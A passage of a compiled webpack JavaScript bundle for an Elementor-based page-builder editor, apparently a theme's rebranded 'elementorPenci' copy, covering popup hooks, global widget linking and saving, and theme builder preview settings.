			(0, _createClass2.default)(PopupRemoveLibraryTab, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/unload';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-remove-library-tab';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = args.document;
					return 'popup' === document.config.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.components.get('library').removeTab('templates/popups');
				}
			}]);
			return PopupRemoveLibraryTab;
		}($e.modules.hookUI.After);

		exports.PopupRemoveLibraryTab = PopupRemoveLibraryTab;
		var _default = PopupRemoveLibraryTab;
		exports.default = _default;

		/***/ }),
	/* 366 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupRemoveTriggers = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var PopupRemoveTriggers = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(PopupRemoveTriggers, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(PopupRemoveTriggers);

			function PopupRemoveTriggers() {
				(0, _classCallCheck2.default)(this, PopupRemoveTriggers);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupRemoveTriggers, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/unload';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-remove-triggers';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = args.document;
					return 'popup' === document.config.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					this.removePanelFooterSubmenuItems();
					this.removePublishTabs();
				}
			}, {
				key: "removePanelFooterSubmenuItems",
				value: function removePanelFooterSubmenuItems() {
					var displaySettingsTypes = elementorPenci.modules.popup.displaySettingsTypes;
					jQuery.each(displaySettingsTypes, function (type) {
						elementor.getPanelView().footer.currentView.removeSubMenuItem('saver-options', {
							name: type
						});
					});
				}
			}, {
				key: "removePublishTabs",
				value: function removePublishTabs() {
					var component = $e.components.get('theme-builder-publish'),
						displaySettingsTypes = elementorPenci.modules.popup.displaySettingsTypes;
					jQuery.each(displaySettingsTypes, function (type) {
						component.removeTab(type);
					});
				}
			}]);
			return PopupRemoveTriggers;
		}($e.modules.hookUI.After);

		exports.PopupRemoveTriggers = PopupRemoveTriggers;
		var _default = PopupRemoveTriggers;
		exports.default = _default;

		/***/ }),
	/* 367 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _stringify = _interopRequireDefault(__webpack_require__(182));

		var _keys = _interopRequireDefault(__webpack_require__(48));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(368));

		var Module = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(Module, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(Module);

			function Module() {
				var _this;

				(0, _classCallCheck2.default)(this, Module);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = _super.call.apply(_super, [this].concat(args));
				_this.globalModels = {};
				_this.panelWidgets = null; // TODO: This property is unused.

				_this.templatesAreSaved = true;
				return _this;
			}

			(0, _createClass2.default)(Module, [{
				key: "addGlobalWidget",
				value: function addGlobalWidget(id, args) {
					args = _.extend({}, args, {
						categories: [],
						icon: elementor.widgetsCache[args.widgetType].icon,
						widgetType: args.widgetType,
						custom: {
							templateID: id
						}
					});
					var globalModel = this.createGlobalModel(id, args);
					return this.panelWidgets.add(globalModel);
				}
			}, {
				key: "createGlobalModel",
				value: function createGlobalModel(id, modelArgs) {
					var globalModel = new elementor.modules.elements.models.Element(modelArgs),
						settingsModel = globalModel.get('settings');
					globalModel.set('id', id);
					settingsModel.on('change', _.bind(this.onGlobalModelChange, this));
					return this.globalModels[id] = globalModel;
				}
			}, {
				key: "onGlobalModelChange",
				value: function onGlobalModelChange() {
					this.templatesAreSaved = false;
				}
			}, {
				key: "setWidgetType",
				value: function setWidgetType() {
					elementor.hooks.addFilter('element/view', function (DefaultView, model) {
						if (model.get('templateID')) {
							return __webpack_require__(375);
						}

						return DefaultView;
					});
					elementor.hooks.addFilter('element/model', function (DefaultModel, attrs) {
						if (attrs.templateID) {
							return __webpack_require__(376);
						}

						return DefaultModel;
					});
				}
			}, {
				key: "registerTemplateType",
				value: function registerTemplateType() {
					elementor.templates.registerTemplateType('widget', {
						showInLibrary: false,
						saveDialog: {
							title: elementorPenci.translate('global_widget_save_title'),
							description: elementorPenci.translate('global_widget_save_description')
						},
						prepareSavedData: function prepareSavedData(data) {
							data.widgetType = data.content[0].widgetType;
							return data;
						},
						ajaxParams: {
							success: this.onWidgetTemplateSaved.bind(this)
						}
					});
				}
			}, {
				key: "addSavedWidgetsToPanel",
				value: function addSavedWidgetsToPanel() {
					var _this2 = this;

					this.panelWidgets = new Backbone.Collection();

					_.each(elementorPenci.config.widget_templates, function (templateArgs, id) {
						_this2.addGlobalWidget(id, templateArgs);
					});

					elementor.hooks.addFilter('panel/elements/regionViews', function (regionViews) {
						_.extend(regionViews.global, {
							view: __webpack_require__(377),
							options: {
								collection: _this2.panelWidgets
							}
						});

						return regionViews;
					});
				}
			}, {
				key: "addPanelPage",
				value: function addPanelPage() {
					elementor.getPanelView().addPage('globalWidget', {
						view: __webpack_require__(379)
					});
				}
			}, {
				key: "getGlobalModels",
				value: function getGlobalModels(id) {
					if (!id) {
						return this.globalModels;
					}

					return this.globalModels[id];
				}
			}, {
				key: "saveTemplates",
				value: function saveTemplates() {
					if (!(0, _keys.default)(this.globalModels).length) {
						return;
					}

					var templatesData = [];

					_.each(this.globalModels, function (templateModel, id) {
						if ('loaded' !== templateModel.get('settingsLoadedStatus')) {
							return;
						}

						var data = {
							content: (0, _stringify.default)([templateModel.toJSON({
								remove: ['default']
							})]),
							source: 'local',
							type: 'widget',
							id: id
						};
						templatesData.push(data);
					});

					if (!templatesData.length) {
						return;
					}

					elementorCommon.ajax.addRequest('update_templates', {
						data: {
							templates: templatesData
						},
						success: function success() {
							this.templatesAreSaved = true;
						}
					});
				}
			}, {
				key: "requestGlobalModelSettings",
				value: function requestGlobalModelSettings(globalModel, callback, container) {
					elementor.templates.requestTemplateContent('local', globalModel.get('id'), {
						success: function success(data) {
							globalModel.set('settingsLoadedStatus', 'loaded').trigger('settings:loaded');
							var settings = data.content[0].settings,
								settingsModel = globalModel.get('settings');
							settingsModel.handleRepeaterData(settings);
							settingsModel.set(settings); // Cover issue when dynamics comes after container already created.

							if (container) {
								delete container.view.container;
								container.view.getContainer();
							}

							if (callback) {
								callback(globalModel);
							}
						}
					});
				}
			}, {
				key: "setWidgetContextMenuSaveAction",
				value: function setWidgetContextMenuSaveAction() {
					elementor.hooks.addFilter('elements/widget/contextMenuGroups', function (groups, widget) {
						var saveGroup = _.findWhere(groups, {
							name: 'save'
						});

						if (!saveGroup) {
							return groups;
						}

						var saveAction = _.findWhere(saveGroup.actions, {
							name: 'save'
						});

						saveAction.callback = widget.save.bind(widget);
						delete saveAction.shortcut;
						return groups;
					});
				}
			}, {
				key: "onElementorInit",
				value: function onElementorInit() {
					var _this3 = this;

					this.registerTemplateType();
					this.setWidgetContextMenuSaveAction();
					elementor.on('panel:init', function () {
						_this3.addSavedWidgetsToPanel(); // setWidgetType depends on addSavedWidgetsToPanel.


						_this3.setWidgetType();
					});
				}
			}, {
				key: "onElementorPreviewLoaded",
				value: function onElementorPreviewLoaded(isFirst) {
					if (!isFirst) {
						return;
					}

					this.addPanelPage();
					$e.routes.register('panel/editor', 'global', function (args) {
						elementor.getPanelView().setPage('globalWidget', 'Global Editing', {
							editedView: args.view
						});
					});
				}
			}, {
				key: "onElementorInitComponents",
				value: function onElementorInitComponents() {
					$e.components.register(new _component.default({
						manager: this
					}));
				}
			}, {
				key: "onWidgetTemplateSaved",
				value: function onWidgetTemplateSaved(data) {
					elementor.templates.layout.hideModal();
					var container = $e.components.get('document').utils.findContainerById(elementor.templates.layout.modalContent.currentView.model.id);
					$e.run('document/global/link', {
						container: container,
						data: data
					});
				}
			}]);
			return Module;
		}(elementorModules.editor.utils.Module);

		exports.default = Module;

		/***/ }),
	/* 368 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var commands = _interopRequireWildcard(__webpack_require__(369));

		var hooks = _interopRequireWildcard(__webpack_require__(372));

		var Component = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(Component, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(Component);

			function Component() {
				(0, _classCallCheck2.default)(this, Component);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Component, [{
				key: "getNamespace",
				value: function getNamespace() {
					return 'document/global';
				}
			}, {
				key: "defaultCommands",
				value: function defaultCommands() {
					return this.importCommands(commands);
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(hooks);
				}
			}]);
			return Component;
		}($e.modules.ComponentBase);

		exports.default = Component;

		/***/ }),
	/* 369 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "Link", {
			enumerable: true,
			get: function get() {
				return _link.Link;
			}
		});

		_Object$defineProperty(exports, "Unlink", {
			enumerable: true,
			get: function get() {
				return _unlink.Unlink;
			}
		});

		var _link = __webpack_require__(370);

		var _unlink = __webpack_require__(371);

		/***/ }),
	/* 370 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.Link = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var Link = /*#__PURE__*/function (_$e$modules$document$) {
			(0, _inherits2.default)(Link, _$e$modules$document$);

			var _super = (0, _createSuper2.default)(Link);

			function Link() {
				(0, _classCallCheck2.default)(this, Link);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Link, [{
				key: "validateArgs",
				value: function validateArgs(args) {
					this.requireContainer(args);
					this.requireArgumentConstructor('data', Object, args);
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers;
					containers.forEach(function (
						/* Container */
						container) {
						if ('global' === container.model.get('widgetType')) {
							throw Error("Invalid container, id: '".concat(container.id, "' is already global."));
						}
					});
				}
			}, {
				key: "getHistory",
				value: function getHistory(args) {
					var data = args.data;
					return {
						title: elementor.widgetsCache[data.widgetType].title,
						subTitle: data.title,
						type: elementorPenci.translate('linked_to_global')
					};
				}
			}, {
				key: "apply",
				value: function apply(args) {
					var data = args.data,
						_args$containers2 = args.containers,
						containers = _args$containers2 === void 0 ? [args.container] : _args$containers2;
					containers.forEach(function (
						/** Container */
						container) {
						var widgetModel = container.model,
							widgetModelIndex = widgetModel.collection.indexOf(widgetModel);
						data.elType = data.type;
						data.settings = widgetModel.get('settings').attributes;
						var globalModel = elementorPenci.modules.globalWidget.addGlobalWidget(data.template_id, data),
							globalModelAttributes = globalModel.attributes;
						$e.run('document/elements/create', {
							container: container.parent,
							model: {
								id: elementor.helpers.getUniqueID(),
								elType: globalModelAttributes.type,
								templateID: globalModelAttributes.template_id,
								widgetType: 'global'
							},
							options: {
								at: widgetModelIndex
							}
						});
						$e.run('document/elements/delete', {
							container: container
						});
					});
					$e.route('panel/elements/global');
				}
			}]);
			return Link;
		}($e.modules.document.CommandHistory);

		exports.Link = Link;
		var _default = Link;
		exports.default = _default;

		/***/ }),
	/* 371 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.Unlink = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var Unlink = /*#__PURE__*/function (_$e$modules$document$) {
			(0, _inherits2.default)(Unlink, _$e$modules$document$);

			var _super = (0, _createSuper2.default)(Unlink);

			function Unlink() {
				(0, _classCallCheck2.default)(this, Unlink);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Unlink, [{
				key: "validateArgs",
				value: function validateArgs(args) {
					this.requireContainer(args);
				}
			}, {
				key: "getHistory",
				value: function getHistory(args) {
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers;
					return {
						title: elementor.helpers.getModelLabel(containers[0].model),
						// TODO: add support multi containers.
						type: elementorPenci.translate('unlink_widget')
					};
				}
			}, {
				key: "apply",
				value: function apply(args) {
					var _args$containers2 = args.containers,
						containers = _args$containers2 === void 0 ? [args.container] : _args$containers2;
					containers.forEach(function (
						/** Container */
						container) {
						var globalModel = elementorPenci.modules.globalWidget.getGlobalModels(container.model.get('templateID'));
						$e.run('document/elements/create', {
							container: container.parent,
							model: {
								id: elementor.helpers.getUniqueID(),
								elType: 'widget',
								widgetType: globalModel.get('widgetType'),
								settings: elementorCommon.helpers.cloneObject(globalModel.get('settings').attributes),
								defaultEditSettings: elementorCommon.helpers.cloneObject(globalModel.get('editSettings').attributes)
							},
							options: {
								at: container.model.collection.indexOf(container.model),
								edit: true
							}
						});
						$e.run('document/elements/delete', {
							container: container
						});
					});
				}
			}]);
			return Unlink;
		}($e.modules.document.CommandHistory);

		exports.Unlink = Unlink;
		var _default = Unlink;
		exports.default = _default;

		/***/ }),
	/* 372 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$keys = __webpack_require__(48);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		var _data = __webpack_require__(373);

		_Object$keys(_data).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _data[key];
				}
			});
		});

		/***/ }),
	/* 373 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "GlobalWidgetSave", {
			enumerable: true,
			get: function get() {
				return _save.GlobalWidgetSave;
			}
		});

		var _save = __webpack_require__(374);

		/***/ }),
	/* 374 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.GlobalWidgetSave = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var GlobalWidgetSave = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(GlobalWidgetSave, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(GlobalWidgetSave);

			function GlobalWidgetSave() {
				(0, _classCallCheck2.default)(this, GlobalWidgetSave);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(GlobalWidgetSave, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-global-widget-save';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var _args$document = args.document,
						document = _args$document === void 0 ? elementor.documents.getCurrent() : _args$document;
					return document.config.panel.has_elements && args.status && -1 !== ['private', 'publish'].indexOf(args.status);
				}
			}, {
				key: "apply",
				value: function apply() {
					elementorPenci.modules.globalWidget.saveTemplates();
				}
			}]);
			return GlobalWidgetSave;
		}($e.modules.hookData.After);

		exports.GlobalWidgetSave = GlobalWidgetSave;
		var _default = GlobalWidgetSave;
		exports.default = _default;

		/***/ }),
	/* 375 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var WidgetView = elementor.modules.elements.views.Widget,
			GlobalWidgetView;
		GlobalWidgetView = WidgetView.extend({
			globalModel: null,
			className: function className() {
				return WidgetView.prototype.className.apply(this, arguments) + ' elementor-global-widget elementor-global-' + this.model.get('templateID');
			},
			initialize: function initialize() {
				var self = this,
					previewSettings = self.model.get('previewSettings'),
					globalModel = self.getGlobalModel();

				if (previewSettings) {
					globalModel.set('settingsLoadedStatus', 'loaded').trigger('settings:loaded');
					var settingsModel = globalModel.get('settings');
					settingsModel.handleRepeaterData(previewSettings);
					settingsModel.set(previewSettings, {
						silent: true
					});
				} else {
					var globalSettingsLoadedStatus = globalModel.get('settingsLoadedStatus');

					if (!globalSettingsLoadedStatus) {
						globalModel.set('settingsLoadedStatus', 'pending');
						elementorPenci.modules.globalWidget.requestGlobalModelSettings(globalModel, null, this.getContainer());
					}

					if ('loaded' !== globalSettingsLoadedStatus) {
						self.$el.addClass('elementor-loading');
					}

					globalModel.on('settings:loaded', function () {
						self.$el.removeClass('elementor-loading');
						self.render();
					});
				}

				WidgetView.prototype.initialize.apply(self, arguments);
			},
			getGlobalModel: function getGlobalModel() {
				if (!this.globalModel) {
					this.globalModel = elementorPenci.modules.globalWidget.getGlobalModels(this.model.get('templateID'));
				}

				return this.globalModel;
			},
			getEditModel: function getEditModel() {
				return this.getGlobalModel();
			},
			getHTMLContent: function getHTMLContent(html) {
				if ('loaded' === this.getGlobalModel().get('settingsLoadedStatus')) {
					return WidgetView.prototype.getHTMLContent.call(this, html);
				}

				return '';
			},
			serializeModel: function serializeModel() {
				var globalModel = this.getGlobalModel();
				return globalModel.toJSON.apply(globalModel, _.rest(arguments));
			},
			unlink: function unlink() {
				$e.run('document/global/unlink', {
					container: this.getContainer()
				});
			},
			onEditRequest: function onEditRequest() {
				$e.route('panel/editor/global', {
					view: this
				});
			}
		});
		module.exports = GlobalWidgetView;

		/***/ }),
	/* 376 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(198);

		__webpack_require__(101);

		module.exports = elementor.modules.elements.models.Element.extend({
			initialize: function initialize() {
				this.set({
					widgetType: 'global'
				}, {
					silent: true
				});
				elementor.modules.elements.models.Element.prototype.initialize.apply(this, arguments);
				elementorFrontend.config.elements.data[this.cid].on('change', this.onSettingsChange.bind(this));
			},
			initSettings: function initSettings() {
				var globalModel = this.getGlobalModel(),
					settingsModel = globalModel.get('settings');
				this.set('settings', settingsModel);
				elementorFrontend.config.elements.data[this.cid] = settingsModel;
				elementorFrontend.config.elements.editSettings[this.cid] = globalModel.get('editSettings');
			},
			initEditSettings: function initEditSettings() {
				var editSettings = new Backbone.Model(this.get('defaultEditSettings'));
				this.set('editSettings', editSettings); // Set default edit tab.

				this.get('editSettings').set('editTab', 'global');
			},
			getGlobalModel: function getGlobalModel() {
				var templateID = this.get('templateID');
				return elementorPenci.modules.globalWidget.getGlobalModels(templateID);
			},
			getTitle: function getTitle() {
				var title = this.getSetting('_title');

				if (!title) {
					title = this.getGlobalModel().get('title');
				}

				var global = elementorPenci.translate('global');
				title = title.replace(new RegExp('\\(' + global + '\\)$'), '');
				return title + ' (' + global + ')';
			},
			getIcon: function getIcon() {
				return this.getGlobalModel().getIcon();
			},
			onSettingsChange: function onSettingsChange(model) {
				if (!model.changed.elements) {
					this.set('previewSettings', model.toJSON({
						remove: ['default']
					}), {
						silent: true
					});
				}
			},
			onDestroy: function onDestroy() {
				// Can be also 'panel/editor/global'.
				if ($e.routes.isPartOf('panel/editor')) {
					$e.route('panel/elements/categories');
				}
			}
		});

		/***/ }),
	/* 377 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementor.modules.layouts.panel.pages.elements.views.Elements.extend({
			id: 'elementor-global-templates',
			getEmptyView: function getEmptyView() {
				if (this.collection.length) {
					return null;
				}

				return __webpack_require__(378);
			},
			onFilterEmpty: function onFilterEmpty() {}
		});

		/***/ }),
	/* 378 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var GlobalWidgetsView = elementor.modules.layouts.panel.pages.elements.views.Global;
		module.exports = GlobalWidgetsView.extend({
			template: '#tmpl-elementor-panel-global-widget-no-templates',
			id: 'elementor-panel-global-widget-no-templates',
			className: 'elementor-nerd-box elementor-panel-nerd-box'
		});

		/***/ }),
	/* 379 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = Marionette.ItemView.extend({
			id: 'elementor-panel-global-widget',
			template: '#tmpl-elementor-panel-global-widget',
			ui: {
				editButton: '#elementor-global-widget-locked-edit .elementor-button',
				unlinkButton: '#elementor-global-widget-locked-unlink .elementor-button',
				loading: '#elementor-global-widget-loading'
			},
			events: {
				'click @ui.editButton': 'onEditButtonClick',
				'click @ui.unlinkButton': 'onUnlinkButtonClick'
			},
			initialize: function initialize() {
				this.initUnlinkDialog();
			},
			buildUnlinkDialog: function buildUnlinkDialog() {
				var self = this;
				return elementorCommon.dialogsManager.createWidget('confirm', {
					id: 'elementor-global-widget-unlink-dialog',
					headerMessage: elementorPenci.translate('unlink_widget'),
					message: elementorPenci.translate('dialog_confirm_unlink'),
					position: {
						my: 'center center',
						at: 'center center'
					},
					strings: {
						confirm: elementorPenci.translate('unlink'),
						cancel: elementorPenci.translate('cancel')
					},
					onConfirm: function onConfirm() {
						self.getOption('editedView').unlink();
					}
				});
			},
			initUnlinkDialog: function initUnlinkDialog() {
				var dialog;

				this.getUnlinkDialog = function () {
					if (!dialog) {
						dialog = this.buildUnlinkDialog();
					}

					return dialog;
				};
			},
			editGlobalModel: function editGlobalModel() {
				var editedView = this.getOption('editedView');
				$e.run('panel/editor/open', {
					model: editedView.getEditModel(),
					view: editedView
				});
			},
			onEditButtonClick: function onEditButtonClick() {
				var self = this,
					editedView = self.getOption('editedView'),
					editedModel = editedView.getEditModel();

				if ('loaded' === editedModel.get('settingsLoadedStatus')) {
					self.editGlobalModel();
					return;
				}

				self.ui.loading.removeClass('elementor-hidden');
				elementorPenci.modules.globalWidget.requestGlobalModelSettings(editedModel, function () {
					self.ui.loading.addClass('elementor-hidden');
					self.editGlobalModel();
				});
			},
			onUnlinkButtonClick: function onUnlinkButtonClick() {
				this.getUnlinkDialog().show();
			}
		});

		/***/ }),
	/* 380 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty2 = __webpack_require__(0);

		_Object$defineProperty2(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		__webpack_require__(233);

		var _defineProperty = _interopRequireDefault(__webpack_require__(0));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get3 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(381));

		var ThemeBuilderModule = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(ThemeBuilderModule, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(ThemeBuilderModule);

			function ThemeBuilderModule() {
				(0, _classCallCheck2.default)(this, ThemeBuilderModule);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderModule, [{
				key: "__construct",
				value: function __construct() {
					var _get2;

					for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
						args[_key] = arguments[_key];
					}

					(_get2 = (0, _get3.default)((0, _getPrototypeOf2.default)(ThemeBuilderModule.prototype), "__construct", this)).call.apply(_get2, [this].concat(args));

					(0, _defineProperty.default)(elementorPenci.config, 'theme_builder', {
						get: function get() {
							elementorCommon.helpers.softDeprecated('theme_builder', '2.9.0', 'elementor.config.document.theme_builder');
							return elementor.config.document.theme_builder;
						}
					});
				}
			}, {
				key: "onElementorLoaded",
				value: function onElementorLoaded() {
					this.component = $e.components.register(new _component.default({
						manager: this
					}));
					elementor.on('document:loaded', this.onDocumentLoaded.bind(this));
					elementor.on('document:unload', this.onDocumentUnloaded.bind(this));
					this.onApplyPreview = this.onApplyPreview.bind(this);
					this.onSectionPreviewSettingsActive = this.onSectionPreviewSettingsActive.bind(this);
				}
			}, {
				key: "onDocumentLoaded",
				value: function onDocumentLoaded(document) {
					if (!document.config.theme_builder) {
						return;
					}

					elementor.getPanelView().on('set:page:page_settings', this.updatePreviewIdOptions);
					elementor.channels.editor.on('elementorThemeBuilder:ApplyPreview', this.onApplyPreview);
					elementor.channels.editor.on('page_settings:preview_settings:activated', this.onSectionPreviewSettingsActive);
				}
			}, {
				key: "onDocumentUnloaded",
				value: function onDocumentUnloaded(document) {
					if (!document.config.theme_builder) {
						return;
					}

					elementor.getPanelView().off('set:page:page_settings', this.updatePreviewIdOptions);
					elementor.channels.editor.off('elementorThemeBuilder:ApplyPreview', this.onApplyPreview);
					elementor.channels.editor.off('page_settings:preview_settings:activated', this.onSectionPreviewSettingsActive);
				}
			}, {
				key: "saveAndReload",
				value: function saveAndReload() {
					$e.run('document/save/auto', {
						force: true,
						onSuccess: function onSuccess() {
							elementor.dynamicTags.cleanCache();
							elementor.reloadPreview();
						}
					});
				}
			}, {
				key: "onApplyPreview",
				value: function onApplyPreview() {
					this.saveAndReload();
				}
			}, {
				key: "onSectionPreviewSettingsActive",
				value: function onSectionPreviewSettingsActive() {
					this.updatePreviewIdOptions(true);
				}
			}, {
				key: "updatePreviewIdOptions",
				value: function updatePreviewIdOptions(render) {
					var previewType = elementor.settings.page.model.get('preview_type');

					if (!previewType) {
						return;
					}

					previewType = previewType.split('/');
					var currentView = elementor.getPanelView().getCurrentPageView(),
						controlModel = currentView.collection.findWhere({
							name: 'preview_id'
						});

					if ('author' === previewType[1]) {
						controlModel.set({
							autocomplete: {
								object: 'author'
							}
						});
					} else if ('taxonomy' === previewType[0]) {
						controlModel.set({
							autocomplete: {
								object: 'tax',
								query: {
									taxonomy: previewType[1]
								}
							}
						});
					} else if ('single' === previewType[0]) {
						controlModel.set({
							autocomplete: {
								object: 'post',
								query: {
									post_type: previewType[1]
								}
							}
						});
					} else {
						controlModel.set({
							autocomplete: {
								object: ''
							}
						});
					}

					if (true === render) {
						// Can be model.
						var controlView = currentView.children.findByModel(controlModel);
						controlView.render();
						controlView.$el.toggle(!!controlModel.get('autocomplete').object);
					}
				}
			}]);
			return ThemeBuilderModule;
		}(elementorModules.editor.utils.Module);

		exports.default = ThemeBuilderModule;

		/***/ }),
	/* 381 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _keys = _interopRequireDefault(__webpack_require__(48));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get2 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _content = _interopRequireDefault(__webpack_require__(382));

		var _layout = _interopRequireDefault(__webpack_require__(383));

		var hooks = _interopRequireWildcard(__webpack_require__(384));

		var Component = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(Component, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(Component);

			function Component() {
				(0, _classCallCheck2.default)(this, Component);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Component, [{
				key: "getNamespace",
				value: function getNamespace() {
					// TODO: should be 'theme-builder/publish'.
					return 'theme-builder-publish';
				}
			}, {
				key: "getModalLayout",
				value: function getModalLayout() {
					return _layout.default;
				}
			}, {
				key: "defaultCommands",
				value: function defaultCommands() {
					var _this = this;

					return {
						next: function next() {
							var tabs = (0, _keys.default)(_this.tabs),
								next = tabs[_this.currentTabIndex + 1];

							if (next) {
								$e.route(_this.getTabRoute(next));
							}
						},
						save: function save() {
